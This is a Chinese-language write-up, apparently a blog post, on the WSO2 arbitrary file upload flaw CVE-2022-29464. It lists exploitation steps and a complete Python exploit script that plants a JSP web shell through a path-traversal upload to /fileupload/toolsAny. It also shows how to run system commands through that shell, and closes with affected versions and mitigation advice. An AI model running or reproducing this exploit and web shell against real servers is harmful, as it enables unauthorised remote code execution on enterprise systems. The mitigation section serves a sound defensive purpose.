### 3
.2 WSO2 文件上传漏洞（CVE
-2022
-29464）的远程代码执行利用方式
WSO2 是一套广泛用于企业级 API 管理、身份认证和集成服务的中间件平台，其多个版本中存在一个严重的任意文件上传漏洞（CVE
-2022
-29464），攻击者可利用该漏洞在未授权的情况下上传恶意 JSP 文件并实现远程代码执行（RCE）[^1]。
此漏洞的核心在于 WSO2 的 `/fileupload` 接口对上传路径和文件内容缺乏有效校验。攻击者可通过构造特定路径的上传请求，将包含恶意脚本的 `
.jsp` 文件写入服务器的 Web 可访问目录，从而触发代码执行。例如，上传到 `authenticationendpoint` 或 `
scim20endpoint` 子路径下的 JSP 文件会被服务器当作动态页面解析并执行其中的
Java 代码[^2]。
#### 3
.2
.1 漏洞利用流程
攻击者通常采用以下步骤完成对该漏洞的利用：
- **构建恶意JSP文件**：创建包含远程命令执行逻辑的 JSP 脚本，例如使用 `Runtime
.getRuntime()
.exec()` 方法执行系统命令。
- **构造上传请求**：向 `/fileupload/toolsAny` 接口发送 POST 请求，并通过修改路径参数将文件上传至目标 Web 目录，如 `
../
../
../
../repository/deployment/server/webapps/authenticationendpoint/`。
- **触发WebShell执行**：成功上传后，通过浏览器或工具访问该 JSP 文件以激活远程控制功能，实现命令注入和进一步横向渗透[^3]。
#### 3
.2
.2 示例EXP与攻击载荷
以下是基于 Python 的漏洞利用脚本示例，使用 `requests` 库向目标服务器发送恶意上传请求，并指定路径将 `
.jsp` 文件写入可执行目录：
```python
import requests
import urllib3
urllib3
.disable_warnings(urllib3
.exceptions
.InsecureRequestWarning)
url = input("请输入URL：")
file = "shell
.jsp"
payload = """<
FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</
FORM>
<%@ page import="
java.io
.*" %>
<%
String cmd = request
.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime
.getRuntime()
.exec(cmd, null, null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p
.getInputStream()));
while((s = sI
.readLine()) != null) {
output += s + "<br>";
}
} catch(IOException e) {
e
.printStackTrace();
}
}
%>
<pre><%=output %></pre>"""
files = {
"
../
../
../
../repository/deployment/server/webapps/authenticationendpoint/{0}"
.format(file): payload
}
response = requests
.post(f"{url}/fileupload/toolsAny", files=files, verify=False)
print(f"shell @ {url}/authenticationendpoint/{file}")
```
运行上述脚本后，若上传成功，攻击者可通过访问 `https://<target>/authenticationendpoint/shell
.jsp?cmd=id` 来执行任意系统命令并获取输出结果。
#### 3
.2
.3 攻击影响范围与缓解建议
该漏洞影响广泛的 WSO2 产品线，包括但不限于：
- WSO2 API Manager 2
.2
.0 至 4
.0
.0
- WSO2 Identity Server 5
.2
.0 至 5
.11
.0
- WSO2 Enterprise Integrator 6
.2
.0 至 6
.6
.0
建议受影响组织尽快升级至官方发布的修复版本，并采取以下防护措施：
- 配置严格的上传路径限制策略，避免文件被写入 Web 根目录；
- 对上传文件进行内容扫描，识别并阻断包含 `<%`, `eval`, `Runtime
.getRuntime()` 等关键字的脚本；
- 启用 WAF 规则，检测异常的 `/fileupload` 请求行为；
- 关闭不必要的调试接口和服务，减少攻击面。
扫一扫
3348
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
